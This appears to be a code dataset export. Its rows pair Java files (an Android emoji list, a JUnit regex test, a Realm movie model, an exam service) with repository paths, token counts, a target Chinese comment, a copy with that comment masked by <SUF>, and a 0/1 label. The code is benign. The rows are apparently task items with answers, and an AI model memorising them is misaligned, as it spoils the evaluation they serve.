emojiList.add(new Emoji("[q_bkx\\tr]", R.drawable.q_bkx, "[不开心]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_cool2\\tr]", R.drawable.q_cool2, "[酷]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_lh\\tr]", R.drawable.q_lh, "[冷汗]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_zk\\tr]", R.drawable.q_zk, "[抓狂]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_ot\\tr]", R.drawable.q_ot, "[呕吐]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_tx\\tr]", R.drawable.q_tx, "[偷笑]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_ka\\tr]", R.drawable.q_ka, "[可爱]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_ws\\tr]", R.drawable.q_ws, "[无视]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_am\\tr]", R.drawable.q_am, "[傲慢]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_tz\\tr]", R.drawable.q_tz, "[馋]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_fk\\tr]", R.drawable.q_fk, "[犯困]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_jk\\tr]", R.drawable.q_jk, "[惊恐]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_liuh\\tr]", R.drawable.q_liuh, "[流汗]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_dx\\tr]", R.drawable.q_dx, "[大笑]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_jm\\tr]", R.drawable.q_jm, "[军帽]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_nl\\tr]", R.drawable.q_nl, "[努力]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_cj\\tr]", R.drawable.q_cj, "[吵架]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_yw\\tr]", R.drawable.q_yw, "[疑问]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_xu\\tr]", R.drawable.q_xu, "[嘘]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_yun\\tr]", R.drawable.q_yun, "[晕]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_zk2\\tr]", R.drawable.q_zk2, "[烦]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_dm\\tr]", R.drawable.q_dm, "[倒霉]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_klt\\tr]", R.drawable.q_klt, "[骷髅头]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_qt\\tr]", R.drawable.q_qt, "[敲头]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_zj\\tr]", R.drawable.q_zj, "[再见]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_ch\\tr]", R.drawable.q_ch, "[擦汗]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_kb\\tr]", R.drawable.q_kb, "[抠鼻]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_gz\\tr]", R.drawable.q_gz, "[鼓掌]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_j\\tr]", R.drawable.q_j, "[囧]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_huaix\\tr]", R.drawable.q_huaix, "[坏笑]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_zhh\\tr]", R.drawable.q_zhh, "[左哼哼]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_yhh\\tr]", R.drawable.q_yhh, "[右哼哼]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_hq\\tr]", R.drawable.q_hq, "[哈欠]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_bs\\tr]", R.drawable.q_bs, "[鄙视]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_wq2\\tr]", R.drawable.q_wq2, "[委屈]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_wq3\\tr]", R.drawable.q_wq3, "[委屈]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_hx2\\tr]", R.drawable.q_hx2, "[坏笑]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_qq\\tr]", R.drawable.q_qq, "[亲亲]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_jx\\tr]", R.drawable.q_jx, "[惊吓]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_kl\\tr]", R.drawable.q_kl, "[可怜]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_tp2\\tr]", R.drawable.q_tp2, "[调皮]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_xk\\tr]", R.drawable.q_xk, "[笑哭]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_bot\\tr]", R.drawable.q_bot, "[确定?]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_ku\\tr]", R.drawable.q_ku, "[哭]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_wn\\tr]", R.drawable.q_wn, "[无奈]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_ts\\tr]", R.drawable.q_ts, "[托腮]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_mm\\tr]", R.drawable.q_mm, "[卖萌]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_xyx\\tr]", R.drawable.q_xyx, "[斜眼笑]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_px\\tr]", R.drawable.q_px, "[喷血]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_jxi\\tr]", R.drawable.q_jxi, "[惊喜]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_sr\\tr]", R.drawable.q_sr, "[骚扰]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_xjj\\tr]", R.drawable.q_xjj, "[小纠结]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_wzm\\tr]", R.drawable.q_wzm, "[我最美]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_cd\\tr]", R.drawable.q_cd, "[菜刀]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_xg\\tr]", R.drawable.q_xg, "[西瓜]", Emoji.TYPE_QQ));
//emoji
emojiList.add(new Emoji("[e_kx\\tr]", R.drawable.e_kx, "[开心]", Emoji.TYPE_EMOJI));
emojiList.add(new Emoji("[e_yy\\tr]", R.drawable.e_yy, "[愉悦]", Emoji.TYPE_EMOJI));
emojiList.add(new Emoji("[e_qin\\tr]", R.drawable.e_qin, "[亲亲]", Emoji.TYPE_EMOJI));
emojiList.add(new Emoji("[e_han\\tr]", R.drawable.e_han, "[汗]", Emoji.TYPE_EMOJI));
emojiList.add(new Emoji("[e_ns\\tr]", R.drawable.e_ns, "[难受]", Emoji.TYPE_EMOJI));
emojiList.add(new Emoji("[e_ts\\tr]", R.drawable.e_ts, "[吐舌头]", Emoji.TYPE_EMOJI));
emojiList.add(new Emoji("[e_hei\\tr]", R.drawable.e_hei, "[嘻嘻]", Emoji.TYPE_EMOJI));
emojiList.add(new Emoji("[e_wp\\tr]", R.drawable.e_wp, "[顽皮]", Emoji.TYPE_EMOJI));
emojiList.add(new Emoji("[e_sf\\tr]", R.drawable.e_sf, "[舒服]", Emoji.TYPE_EMOJI));
emojiList.add(new Emoji("[e_nd\\tr]", R.drawable.e_nd, "[你懂]", Emoji.TYPE_EMOJI));
emojiList.add(new Emoji("[e_xh\\tr]", R.drawable.e_xh, "[喜欢]", Emoji.TYPE_EMOJI));
emojiList.add(new Emoji("[e_sad\\tr]", R.drawable.e_sad, "[伤心]", Emoji.TYPE_EMOJI));
emojiList.add(new Emoji("[e_lau\\tr]", R.drawable.e_lau, "[开心]", Emoji.TYPE_EMOJI));
emojiList.add(new Emoji("[e_xx\\tr]", R.drawable.e_xx, "[邪笑]", Emoji.TYPE_EMOJI));
return emojiList;
}
/**
* 匹配表情文字
*
* @param content content
*/
public static Matcher matcher(String content) {
return sPATTERN.matcher(content);
}
/**
* 获取表情res
* 若搜索不到则返回默认表情{@link #DEFAULT_EMOJI}
*/
public static int getEmojiRes(String emoji) {
int res = sEmojiRepository.getEmojiRes(emoji);
return res == 0 ? DEFAULT_EMOJI : res;
}
/**
* 获取表情对应的Text
* 若搜索不到则返回空串
*/
@NonNull
public static String getEmojiText(int emojiRes) {
String emojiText = sEmojiRepository.getEmojiText(emojiRes);
return emojiText == null ? "" : emojiText;
}
/**
* @return 所有qq表情
*/
public static List<Emoji> getAllQQEmoji() {
return sEmojiRepository.queryAllByType(Emoji.TYPE_QQ);
}
/**
* @return 所有emoji表情
*/
public static List<Emoji> getAllEmoji() {
return sEmojiRepository.queryAllByType(Emoji.TYPE_EMOJI);
}
/**
* 获取最近使用的表情
*/
@NonNull
public static List<Emoji> getRecentEmoji() {
return getRecentEmoji(DEFAULT_RECENT_EMOJI_NUM);
}
/**
* 获取最近使用的表情
*
* @param num 表情数
*/
@NonNull
public static List<Emoji> getRecentEmoji(int num) {
return sEmojiRepository.getRecentEmoji(num);
}
/**
* 记录最近点击时间
*
* @param emoji emoji
*/
public static void recentClick(Emoji emoji) {
emoji.recent();
sEmojiRepository.insertAll(emoji);
}
/**
* 通过反射获取到Application
*
* @return Application
*/
private static Application getApplicationByReflect() {
try {
@SuppressLint("PrivateApi")
Class<?> activityThread = Class.forName("android.app.ActivityThread");
Object thread = activityThread.getMethod("currentActivityThread").invoke(null);
Object app = activityThread.getMethod("getApplication").invoke(thread);
if (app == null) {
throw new NullPointerException("u should init first");
}
return (Application) app;
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
throw new NullPointerException("u should init first");
}
}
| 0 |
54736_0 | package Regex;
import org.junit.Test;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class PatternMatch {
@Test
public void testMatch() {
String s = "牛奶:89.8元,香肠:12.9元,啤酒:69元,巧克力:132元";
String regex = "[0123456789.]+";//【代码1】//匹配数字与小数点的正则表达式的字符串
int number = 0;
double sum = 0.0;
Pattern p = Pattern.compile(regex);//返回正则表达式表达的字符串
//【代码2】//使用regex初始化模式对象pattern
Matcher m = p.matcher(s);//正则与s匹配,只有匹配了才返回
// Pattern.matcher(CharSequenceinput)返回一个Matcher对象。
// Matcher类的构造方法也是私有的,不能随意创建,只能通过Pattern.matcher(CharSequence input)方法得到该类的实例。
//Matcher类提供了对正则表达式的分组支持,以及对正则表达式的多次匹配支持。
System.out.println("m = " + m);
System.out.println("m.matches() = " + m.matches()); // false
while (m.find()) {//对字符串s进行匹配
System.out.println(m.group());//返回匹配到的子字符串
number = number + 1;
try {
sum = sum + Double.parseDouble(m.group());//【代码3】//获取子匹配成功结果字符串并转成Double型类
} catch (NumberFormatException e) {
System.out.println(e.getMessage());
}
}
System.out.println("购物小票中的商品种类:" + number + "种");
System.out.println("购物小票中的价格总额:" + sum + "元");
}
/**
* 使用正则: 小写 -> 大写
*/
@Test
public void test01() {
String name = "zcw_name";
if (name.contains("_")) {
Pattern pattern = Pattern.compile("([A-Za-z\\\\d]+)(_)?");
name = name.toLowerCase();
Matcher matcher = pattern.matcher(name);
System.out.println(matcher);
StringBuffer sb = new StringBuffer();
while (matcher.find()) {
System.out.println("matcher.group() = " + matcher.group());
matcher.appendReplacement(sb, matcher.group(1).toUpperCase());
System.out.println(matcher.group(1));
System.out.println(matcher.groupCount());
}
matcher.appendTail(sb);
System.out.println("sb.toString() = " + sb.toString()); // sb.toString() = ZCWNAME
}
}
}
| 123Arcadia/JavaDemo | src/Regex/PatternMatch.java | 651 | //【代码1】//匹配数字与小数点的正则表达式的字符串 | line_comment | zh-cn | package Regex;
import org.junit.Test;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class PatternMatch {
@Test
public void testMatch() {
String s = "牛奶:89.8元,香肠:12.9元,啤酒:69元,巧克力:132元";
String regex = "[0123456789.]+";//【代 <SUF>
int number = 0;
double sum = 0.0;
Pattern p = Pattern.compile(regex);//返回正则表达式表达的字符串
//【代码2】//使用regex初始化模式对象pattern
Matcher m = p.matcher(s);//正则与s匹配,只有匹配了才返回
// Pattern.matcher(CharSequenceinput)返回一个Matcher对象。
// Matcher类的构造方法也是私有的,不能随意创建,只能通过Pattern.matcher(CharSequence input)方法得到该类的实例。
//Matcher类提供了对正则表达式的分组支持,以及对正则表达式的多次匹配支持。
System.out.println("m = " + m);
System.out.println("m.matches() = " + m.matches()); // false
while (m.find()) {//对字符串s进行匹配
System.out.println(m.group());//返回匹配到的子字符串
number = number + 1;
try {
sum = sum + Double.parseDouble(m.group());//【代码3】//获取子匹配成功结果字符串并转成Double型类
} catch (NumberFormatException e) {
System.out.println(e.getMessage());
}
}
System.out.println("购物小票中的商品种类:" + number + "种");
System.out.println("购物小票中的价格总额:" + sum + "元");
}
/**
* 使用正则: 小写 -> 大写
*/
@Test
public void test01() {
String name = "zcw_name";
if (name.contains("_")) {
Pattern pattern = Pattern.compile("([A-Za-z\\\\d]+)(_)?");
name = name.toLowerCase();
Matcher matcher = pattern.matcher(name);
System.out.println(matcher);
StringBuffer sb = new StringBuffer();
while (matcher.find()) {
System.out.println("matcher.group() = " + matcher.group());
matcher.appendReplacement(sb, matcher.group(1).toUpperCase());
System.out.println(matcher.group(1));
System.out.println(matcher.groupCount());
}
matcher.appendTail(sb);
System.out.println("sb.toString() = " + sb.toString()); // sb.toString() = ZCWNAME
}
}
}
| 1 |
56965_12 | package com.lxw.videoworld.app.model;
import java.io.Serializable;
import io.realm.RealmObject;
import io.realm.annotations.PrimaryKey;
/**
* Created by lxw9047 on 2017/5/3.
*/
public class SourceDetailModel extends RealmObject implements Serializable {
@PrimaryKey
private String url;
private String sourceType;
private String id;
private String category;// 一级分类
private String type;// 二级分类
private String title;
private String images;
private String content;// 详情信息
private String name;// 名字
private String translateName;// 译名
private String year;// 年份
private String area;// 国家、地区
private String style;// 详情里的分类
private String language;// 语言
private String subtitles;// 字幕语言
private String releaseDate;// 首映日期
private String imdbScore;
private String imdbIntro;
private String imdbUrl;
private String doubanScore;// 豆瓣评分
private String doubanIntro;// 豆瓣评分说明
private String doubanUrl;// 豆瓣评分地址
private String fileFormat;// 文件格式
private String fileSize;// 清晰度
private String fileAmounts;// 张数 1 CD
private String fileLength;// 时长
private String author;// 编剧
private String director;// 导演
private String performer;// 主演
private String intro;// 简介
private String awards;// 获奖情况
private String episodes;// 集数
private String links;// 下载链接
private String date;// 网站更新时间
private String status;
private long time;// 数据库时间
public String getUrl() {
return url;
}
public void setUrl(String url) {
this.url = url;
}
public String getSourceType() {
return sourceType;
}
public void setSourceType(String sourceType) {
this.sourceType = sourceType;
}
public String getTitle() {
return title;
}
public void setTitle(String title) {
this.title = title;
}
public String getImages() {
return images;
}
public void setImages(String images) {
this.images = images;
}
public String getContent() {
return content;
}
public void setContent(String content) {
this.content = content;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getTranslateName() {
return translateName;
}
public void setTranslateName(String translateName) {
this.translateName = translateName;
}
public String getYear() {
return year;
}
public void setYear(String year) {
this.year = year;
}
public String getArea() {
return area;
}
public void setArea(String area) {
this.area = area;
}
public String getStyle() {
return style;
}
public void setStyle(String style) {
this.style = style;
}
public String getLanguage() {
return language;
}
public void setLanguage(String language) {
this.language = language;
}
public String getSubtitles() {
return subtitles;
}
public void setSubtitles(String subtitles) {
this.subtitles = subtitles;
}
public String getReleaseDate() {
return releaseDate;
}
public void setReleaseDate(String releaseDate) {
this.releaseDate = releaseDate;
}
public String getImdbScore() {
return imdbScore;
}
public void setImdbScore(String imdbScore) {
this.imdbScore = imdbScore;
}
public String getDoubanScore() {
return doubanScore;
}
public void setDoubanScore(String doubanScore) {
this.doubanScore = doubanScore;
}
public String getImdbIntro() {
return imdbIntro;
}
public void setImdbIntro(String imdbIntro) {
this.imdbIntro = imdbIntro;
}
public String getImdbUrl() {
return imdbUrl;
}
public void setImdbUrl(String imdbUrl) {
this.imdbUrl = imdbUrl;
}
public String getDoubanIntro() {
return doubanIntro;
}
public void setDoubanIntro(String doubanIntro) {
this.doubanIntro = doubanIntro;
}
public String getDoubanUrl() {
return doubanUrl;
}
public void setDoubanUrl(String doubanUrl) {
this.doubanUrl = doubanUrl;
}
public String getFileFormat() {
return fileFormat;
}
public void setFileFormat(String fileFormat) {
this.fileFormat = fileFormat;
}
public String getFileSize() {
return fileSize;
}
public void setFileSize(String fileSize) {
this.fileSize = fileSize;
}
public String getFileAmounts() {
return fileAmounts;
}
public void setFileAmounts(String fileAmounts) {
this.fileAmounts = fileAmounts;
}
public String getFileLength() {
return fileLength;
}
public void setFileLength(String fileLength) {
this.fileLength = fileLength;
}
public String getDirector() {
return director;
}
public void setDirector(String director) {
this.director = director;
}
public String getPerformer() {
return performer;
}
public void setPerformer(String performer) {
this.performer = performer;
}
public String getIntro() {
return intro;
}
public void setIntro(String intro) {
this.intro = intro;
}
public String getAwards() {
return awards;
}
public void setAwards(String awards) {
this.awards = awards;
}
public String getEpisodes() {
return episodes;
}
public void setEpisodes(String episodes) {
this.episodes = episodes;
}
public String getLinks() {
return links;
}
public void setLinks(String links) {
this.links = links;
}
public String getStatus() {
return status;
}
public void setStatus(String status) {
this.status = status;
}
public long getTime() {
return time;
}
public void setTime(long time) {
this.time = time;
}
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getCategory() {
return category;
}
public void setCategory(String category) {
this.category = category;
}
public String getType() {
return type;
}
public void setType(String type) {
this.type = type;
}
public String getDate() {
return date;
}
public void setDate(String date) {
this.date = date;
}
public String getAuthor() {
return author;
}
public void setAuthor(String author) {
this.author = author;
}
}
| 123lxw123/VideoWorld_Android | app/src/main/java/com/lxw/videoworld/app/model/SourceDetailModel.java | 1,675 | // 清晰度 | line_comment | zh-cn | package com.lxw.videoworld.app.model;
import java.io.Serializable;
import io.realm.RealmObject;
import io.realm.annotations.PrimaryKey;
/**
* Created by lxw9047 on 2017/5/3.
*/
public class SourceDetailModel extends RealmObject implements Serializable {
@PrimaryKey
private String url;
private String sourceType;
private String id;
private String category;// 一级分类
private String type;// 二级分类
private String title;
private String images;
private String content;// 详情信息
private String name;// 名字
private String translateName;// 译名
private String year;// 年份
private String area;// 国家、地区
private String style;// 详情里的分类
private String language;// 语言
private String subtitles;// 字幕语言
private String releaseDate;// 首映日期
private String imdbScore;
private String imdbIntro;
private String imdbUrl;
private String doubanScore;// 豆瓣评分
private String doubanIntro;// 豆瓣评分说明
private String doubanUrl;// 豆瓣评分地址
private String fileFormat;// 文件格式
private String fileSize;// 清晰 <SUF>
private String fileAmounts;// 张数 1 CD
private String fileLength;// 时长
private String author;// 编剧
private String director;// 导演
private String performer;// 主演
private String intro;// 简介
private String awards;// 获奖情况
private String episodes;// 集数
private String links;// 下载链接
private String date;// 网站更新时间
private String status;
private long time;// 数据库时间
public String getUrl() {
return url;
}
public void setUrl(String url) {
this.url = url;
}
public String getSourceType() {
return sourceType;
}
public void setSourceType(String sourceType) {
this.sourceType = sourceType;
}
public String getTitle() {
return title;
}
public void setTitle(String title) {
this.title = title;
}
public String getImages() {
return images;
}
public void setImages(String images) {
this.images = images;
}
public String getContent() {
return content;
}
public void setContent(String content) {
this.content = content;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getTranslateName() {
return translateName;
}
public void setTranslateName(String translateName) {
this.translateName = translateName;
}
public String getYear() {
return year;
}
public void setYear(String year) {
this.year = year;
}
public String getArea() {
return area;
}
public void setArea(String area) {
this.area = area;
}
public String getStyle() {
return style;
}
public void setStyle(String style) {
this.style = style;
}
public String getLanguage() {
return language;
}
public void setLanguage(String language) {
this.language = language;
}
public String getSubtitles() {
return subtitles;
}
public void setSubtitles(String subtitles) {
this.subtitles = subtitles;
}
public String getReleaseDate() {
return releaseDate;
}
public void setReleaseDate(String releaseDate) {
this.releaseDate = releaseDate;
}
public String getImdbScore() {
return imdbScore;
}
public void setImdbScore(String imdbScore) {
this.imdbScore = imdbScore;
}
public String getDoubanScore() {
return doubanScore;
}
public void setDoubanScore(String doubanScore) {
this.doubanScore = doubanScore;
}
public String getImdbIntro() {
return imdbIntro;
}
public void setImdbIntro(String imdbIntro) {
this.imdbIntro = imdbIntro;
}
public String getImdbUrl() {
return imdbUrl;
}
public void setImdbUrl(String imdbUrl) {
this.imdbUrl = imdbUrl;
}
public String getDoubanIntro() {
return doubanIntro;
}
public void setDoubanIntro(String doubanIntro) {
this.doubanIntro = doubanIntro;
}
public String getDoubanUrl() {
return doubanUrl;
}
public void setDoubanUrl(String doubanUrl) {
this.doubanUrl = doubanUrl;
}
public String getFileFormat() {
return fileFormat;
}
public void setFileFormat(String fileFormat) {
this.fileFormat = fileFormat;
}
public String getFileSize() {
return fileSize;
}
public void setFileSize(String fileSize) {
this.fileSize = fileSize;
}
public String getFileAmounts() {
return fileAmounts;
}
public void setFileAmounts(String fileAmounts) {
this.fileAmounts = fileAmounts;
}
public String getFileLength() {
return fileLength;
}
public void setFileLength(String fileLength) {
this.fileLength = fileLength;
}
public String getDirector() {
return director;
}
public void setDirector(String director) {
this.director = director;
}
public String getPerformer() {
return performer;
}
public void setPerformer(String performer) {
this.performer = performer;
}
public String getIntro() {
return intro;
}
public void setIntro(String intro) {
this.intro = intro;
}
public String getAwards() {
return awards;
}
public void setAwards(String awards) {
this.awards = awards;
}
public String getEpisodes() {
return episodes;
}
public void setEpisodes(String episodes) {
this.episodes = episodes;
}
public String getLinks() {
return links;
}
public void setLinks(String links) {
this.links = links;
}
public String getStatus() {
return status;
}
public void setStatus(String status) {
this.status = status;
}
public long getTime() {
return time;
}
public void setTime(long time) {
this.time = time;
}
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getCategory() {
return category;
}
public void setCategory(String category) {
this.category = category;
}
public String getType() {
return type;
}
public void setType(String type) {
this.type = type;
}
public String getDate() {
return date;
}
public void setDate(String date) {
this.date = date;
}
public String getAuthor() {
return author;
}
public void setAuthor(String author) {
this.author = author;
}
}
| 0 |
61236_66 | package com.bonc.exam.service;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.Iterator;
/**
* 网格考核模块
* @author luxing@bonc.com.cn
*
*/
import java.util.List;
import java.util.Map;
import java.util.UUID;
import org.activiti.engine.impl.util.json.JSONArray;
import org.activiti.engine.impl.util.json.JSONObject;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import com.alibaba.fastjson.JSON;
import com.bonc.exam.dao.entity.ExamGird;
import com.bonc.exam.dao.entity.ExamModel;
import com.bonc.exam.dao.entity.ExamModelObj;
import com.bonc.exam.dao.mapper.ExamModelMapper;
import com.bonc.exam.dao.mapper.showObjMapper;
@Service
@Transactional(rollbackFor = Exception.class)
public class ExamService {
@Autowired
private ExamModelMapper examModelMapper;
@Autowired
private showObjMapper objMapper;
// @Autowired
// private KpiIndexMapper kpiIndexMapper;
public List<ExamModel> selectExamModel(ExamModel examModel) {
List<ExamModel> list = examModelMapper.selectExamModel(examModel);
return list;
}
public Boolean deleteExamModelById(String id) {
objMapper.deleteKpiByExamId(id);
examModelMapper.deleteObjByExamId(id);
Boolean result = examModelMapper.deleteExamModelById(id);
return result;
}
public void insertExamModel(ExamModel examModel) {
examModelMapper.insertExamModel(examModel);
}
public int updateExamModel(ExamModel examModel) {
int result = examModelMapper.updateExamModel(examModel);
return result;
}
public List<ExamModel> checkBoxSearchAnother(Map<String, Object> map) {
List<ExamModel> list = new ArrayList<ExamModel>();
String gridCode = (String) map.get("gridCode");
String gridName = (String) map.get("gName");
String orglevel = (String) map.get("orglevel");
if ((!gridCode.equals("")) && (orglevel.equals("4"))) { // 不为空
list = examModelMapper.checkBoxSearchByyGridCode(map);
} else if ((!gridCode.equals("")) && (orglevel.equals("3"))) {
list = examModelMapper.checkBoxSearchByyGridCodeAndAndOrglevel(map);
} else if (!gridName.equals("")) { // 不为空
list = examModelMapper.checkBoxSearchByGridName(map);
} else {
list = examModelMapper.checkBoxSearch(map);
}
String objectTypeNew = "";
List<String> objNameList = null;
for (ExamModel examModel : list) {
objNameList = new ArrayList<>();
// 获取exam的id也是obj中的exam_id
String id = examModel.getId();
// 获取exam中的gridName对应grid_user中的orgId
String gridNameCode = examModel.getGridName();
String cycle = examModel.getCycleType();
String cycleTypeNew = "";
if (cycle.equals("month")) {
cycleTypeNew = "月度考核";
} else if (cycle.equals("quarter")) {
cycleTypeNew = "季度考核";
} else {
cycleTypeNew = "年度考核";
}
examModel.setCycleTypeNew(cycleTypeNew);
// 封装入参
Map<String, String> examMap = new HashMap<>();
examMap.put("examId", id);
// 获取对象类型
String objectType = examModel.getCreateObject();
// 判断objectType是人还是网格 获取最后一个字如果123包含就说明是网格 String objectClass =
// objectType.substring(objectType.length()-1);
// 这里会获取多条记录,因为一个examId会关联多个obj
List<ExamModelObj> objList = examModelMapper.selectObjByExamId(examMap);
if ("gridLevel1,gridLevel2,gridLevel3".contains(objectType)) {
if (objectType.equals("gridLevel1")) {
objectTypeNew = "一类网格";
} else if (objectType.equals("gridLevel2")) {
objectTypeNew = "二类网格";
} else {
objectTypeNew = "三类网格";
}
// 为空判断
if (objList != null && objList.size() > 0) {
// 获取每一条记录,遍历
for (ExamModelObj examModelObj : objList) {
// 取每一条记录的对象名称的id
String objNameId = examModelObj.getObjectId();
// 如果是网格,只需要一个objNameId --> orgId就可以查到sys_org表中的Name
String objName = examModelMapper.selectNameByOrgId(objNameId);
objNameList.add(objName);
}
examModel.setObjectTypeNew(objectTypeNew);
examModel.setExamObjectList(objNameList.toString());
}
// 不包含就说明是人
} else {
// 为空判断
if (objList != null && objList.size() > 0) {
Map<String, Object> userMap = null;
String objNameId = null;
String userName = null;
// 获取每一条记录,遍历
for (ExamModelObj examModelObj : objList) {
// 封装查询grid_user的入参
userMap = new HashMap<>();
// 取每一条记录的对象名称的id-->对应lonid
objNameId = examModelObj.getObjectId();
userMap.put("loginId", objNameId);
userMap.put("orgId", gridNameCode);
// 设置接受对象类型字符串
int objectTypeId = 0;
// 获取对象类型
// String objType = examModelObj.getObjectType();
if (objectType.equals("gridManager")) {
objectTypeNew = "网格经理";
objectTypeId = 3;
} else if (objectType.equals("cdManager")) {
objectTypeNew = "CD政企客户经理";
objectTypeId = 2;
} else if (objectType.equals("busiManager")) {
objectTypeNew = "营业部负责人";
objectTypeId = 5;
} else if (objectType.equals("directManager")) {
objectTypeNew = "直销渠道经理";
objectTypeId = 4;
} else if (objectType.equals("societyManager")) {
objectTypeNew = "社会渠道经理";
objectTypeId = 1;
}
examModel.setObjectTypeNew(objectTypeNew);
// 用户类型
userMap.put("userType", objectTypeId);
// 通过gridNameCode,objNameId--org_id和objectTypeId查询GRID_USER表格的名字
userName = examModelMapper.selectUserName(userMap);
if (userName != null && userName.length() > 0) {
objNameList.add(userName);
}
}
if (objNameList != null && objNameList.size() > 0) {
examModel.setExamObjectList(objNameList.toString());
} else {
examModel.setExamObjectList("");
}
}
}
}
return list;
}
public List<ExamModel> checkBoxSearch(Map<String, Object> map) {
List<ExamModel> list = examModelMapper.checkBoxSearch(map);
String objectTypeNew = "";
List<String> objNameList = null;
String id = null;
String gridNameCode = null;
String cycle = null;
String cycleTypeNew = null;
String objectType = null;
Map<String, String> examMap = null;
List<ExamModelObj> objList = null;
for (ExamModel examModel : list) {
objNameList = new ArrayList<>();
// 获取exam的id也是obj中的exam_id
id = examModel.getId();
// 获取exam中的gridName对应grid_user中的orgId
gridNameCode = examModel.getGridName();
cycle = examModel.getCycleType();
cycleTypeNew = "";
if (cycle.equals("month")) {
cycleTypeNew = "月度考核";
} else if (cycle.equals("quarter")) {
cycleTypeNew = "季度考核";
} else {
cycleTypeNew = "年度考核";
}
examModel.setCycleTypeNew(cycleTypeNew);
// 封装入参
examMap = new HashMap<>();
examMap.put("examId", id);
// 获取对象类型
objectType = examModel.getCreateObject();
// 判断objectType是人还是网格 获取最后一个字如果123包含就说明是网格 String objectClass =
// objectType.substring(objectType.length()-1);
// 这里会获取多条记录,因为一个examId会关联多个obj
objList = examModelMapper.selectObjByExamId(examMap);
if ("gridLevel1,gridLevel2,gridLevel3".contains(objectType)) {
if (objectType.equals("gridLevel1")) {
objectTypeNew = "一类网格";
} else if (objectType.equals("gridLevel2")) {
objectTypeNew = "二类网格";
} else {
objectTypeNew = "三类网格";
}
// 为空判断
if (objList != null && objList.size() > 0) {
// 获取每一条记录,遍历
String objNameId = null;
String objName = null;
for (ExamModelObj examModelObj : objList) {
// 取每一条记录的对象名称的id
objNameId = examModelObj.getObjectId();
// 如果是网格,只需要一个objNameId --> orgId就可以查到sys_org表中的Name
objName = examModelMapper.selectNameByOrgId(objNameId);
objNameList.add(objName);
}
examModel.setObjectTypeNew(objectTypeNew);
examModel.setExamObjectList(objNameList.toString());
}
// 不包含就说明是人
} else {
// 为空判断
if (objList != null && objList.size() > 0) {
Map<String, Object> userMap = null;
String objNameId = null;
String userName = null;
// 获取每一条记录,遍历
for (ExamModelObj examModelObj : objList) {
// 封装查询grid_user的入参
userMap = new HashMap<>();
// 取每一条记录的对象名称的id-->对应lonid
objNameId = examModelObj.getObjectId();
userMap.put("loginId", objNameId);
userMap.put("orgId", gridNameCode);
// 设置接受对象类型字符串
int objectTypeId = 0;
// 获取对象类型
// String objType = examModelObj.getObjectType();
if (objectType.equals("gridManager")) {
objectTypeNew = "网格经理";
objectTypeId = 3;
